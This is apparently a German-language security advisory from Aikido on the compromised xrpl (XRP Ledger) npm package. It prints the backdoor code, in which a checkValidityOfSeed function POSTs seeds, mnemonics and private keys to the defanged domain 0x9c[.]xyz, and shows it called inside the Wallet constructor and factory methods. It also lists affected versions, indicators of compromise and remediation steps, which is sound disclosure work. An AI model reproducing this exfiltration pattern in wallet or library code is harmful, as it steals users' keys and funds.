Am 21. April um 20:53 Uhr GMT+0 begann unser System, Aikido Intel, uns auf fünf neue Paketversionen des xrpl-Pakets aufmerksam zu machen. Es ist das offizielle SDK für das XRP Ledger mit über 140.000 wöchentlichen Downloads. Wir bestätigten schnell, dass das offizielle XPRL (Ripple) NPM-Paket von hochentwickelten Angreifern kompromittiert wurde, die eine Backdoor einbauten, um private Kryptowährungsschlüssel zu stehlen und Zugang zu Kryptowährungs-Wallets zu erhalten. Dieses Paket wird von Hunderttausenden von Anwendungen und Websites verwendet, was es zu einem potenziell katastrophalen Supply-Chain-Angriff auf das Kryptowährungs-Ökosystem macht.
Dies ist eine technische Aufschlüsselung, wie wir den Angriff entdeckt haben.

Neue Pakete veröffentlicht
Der Nutzer mukulljangid hatte fünf neue Versionen der Bibliothek veröffentlicht, beginnend am 21. April, 20:53 GMT+0:

Interessant ist, dass diese Versionen nicht mit den offiziellen Releases übereinstimmen, wie sie auf GitHub zu sehen sind, wo das neueste Release ist 4.2.0:
.png)
Die Tatsache, dass diese Pakete ohne ein passendes Release auf GitHub auftauchten, ist sehr verdächtig.
Der mysteriöse Code
Unser System hat in diesen neuen Paketen ungewöhnlichen Code entdeckt. Hier ist, was es in der src/index.ts Datei in Version 4.2.4 (Das als getaggt ist aktuellste):
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Es sieht alles normal aus bis zum Ende. Was ist das? checkValidityOfSeed Funktion? Und warum ruft sie eine zufällige Domain namens 0x9c[.]xyz? Tauchen wir tiefer ein!
Was ist die Domain?
Wir haben zuerst die Domain überprüft, um herauszufinden, ob sie überhaupt legitim sein könnte. Wir haben die Whois-Details dazu abgerufen:

Das ist also nicht gut. Es ist eine brandneue Domain. Sehr verdächtig.
Was leistet der Code?
Der Code selbst definiert lediglich eine Methode, aber es gibt keine direkten Aufrufe dazu. Also haben wir untersucht, ob sie irgendwo verwendet wird. Und ja, das tut sie!
.png)
Wir sehen, dass es in Funktionen wie dem Konstruktor für die aufgerufen wird Wallet Klasse (src/Wallet/index.ts), private Schlüssel stehlen, sobald ein Wallet-Objekt instanziiert wird:
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}Und diese Funktionen:
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
} private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
} public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
} public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
} public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}Warum so viele Versionssprünge?
Als wir diese Pakete untersuchten, stellten wir fest, dass die ersten beiden veröffentlichten Pakete (4.2.1 und 4.2.2) unterschieden sich von den anderen. Wir haben einen 3-Wege-Diff der Versionen durchgeführt 4.2.0 (Was legitim ist), 4.2.1, und 4.2.2 um herauszufinden, was los war. Hier ist, was wir beobachtet haben:
- Ab
4.2.1, derSkripteundprettierKonfiguration wurde entfernt aus dempackage.json. - Die erste Version, in die bösartiger Code eingefügt werden kann
src/Wallet/index.jswar4.2.2. - Beide
4.2.1und4.2.2enthielt eine bösartigebuild/xrp-latest-min.jsundbuild/xrp-latest.js.
Wenn wir vergleichen 4.2.2 zu 4.2.3 und 4.2.4, sehen wir weitere bösartige Änderungen. Zuvor war nur der gepackte JavaScript-Code modifiziert worden. Diese umfassten auch die bösartigen Änderungen an der TypeScript-Version des Codes
- Der zuvor gezeigte Code ändert sich zu
src/index.ts. - Die bösartige Code-Änderung zu
src/Wallet/index.ts. - Anstatt dass der bösartige Code manuell in die erstellten Dateien eingefügt wurde, die Backdoor, die in
index.tsgenannt wird.
Daraus lässt sich ableiten, dass der Angreifer aktiv an dem Angriff arbeitete und verschiedene Wege versuchte, die Backdoor einzuschleusen, wobei er so verborgen wie möglich bleiben wollte. Er ging dabei von der manuellen Einfügung der Backdoor in den kompilierten JavaScript-Code über die Platzierung im TypeScript-Code bis hin zur Kompilierung in die fertige Version.
Aikido
Diese Malware wurde von Aikido Intel entdeckt, dem öffentlichen Threat Feed von Aikido, der LLMs nutzt, um öffentliche Paketmanager wie NPM zu überwachen und zu identifizieren, wann bösartiger Code zu neuen oder bestehenden Paketen hinzugefügt wird. Wenn Sie vor Malware und nicht offengelegten Schwachstellen geschützt sein möchten, können Sie den Intel Threat Feed abonnieren oder sich für Aikido Security anmelden.
Indikatoren für Kompromittierung
Um festzustellen, ob Sie kompromittiert wurden, sind hier die Indikatoren, die Sie verwenden können:
Paketname
xrpl
Paketversionen
Prüfen Sie Ihre package.json und package-lock.json für diese Versionen:
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Achten Sie darauf, ob Sie das Paket als Abhängigkeit hatten, das nicht mit einer Package-Lock-Datei behoben wurde, oder ein ungefähre/kompatible Versionsspezifikation wie ~4.2.0 oder ^4.2.0, beispielsweise.
Wenn Sie glauben, eines der oben genannten Pakete im Zeitraum zwischen dem 21. April, 20:53 GMT+0 und dem 22. April, 13:00 GMT+0 installiert zu haben, überprüfen Sie Ihre Netzwerkprotokolle auf ausgehende Verbindungen zum untenstehenden Host:
Domain
- 0x9c[.]xyz
Behebung
Wenn Sie glauben, betroffen zu sein, ist es wichtig anzunehmen, dass jeder Seed oder private Schlüssel, der vom Code verarbeitet wurde, kompromittiert ist. Diese Schlüssel sollten nicht mehr verwendet werden, und alle damit verbundenen Assets sollten sofort in eine andere Wallet/einen anderen Schlüssel verschoben werden. Seit der Offenlegung des Problems hat das xrpl-Team zwei neue Versionen veröffentlicht, um die kompromittierten Pakete zu überschreiben:
- 4.2.5
- 2.14.3
Sichern Sie Ihre Software jetzt.



.avif)
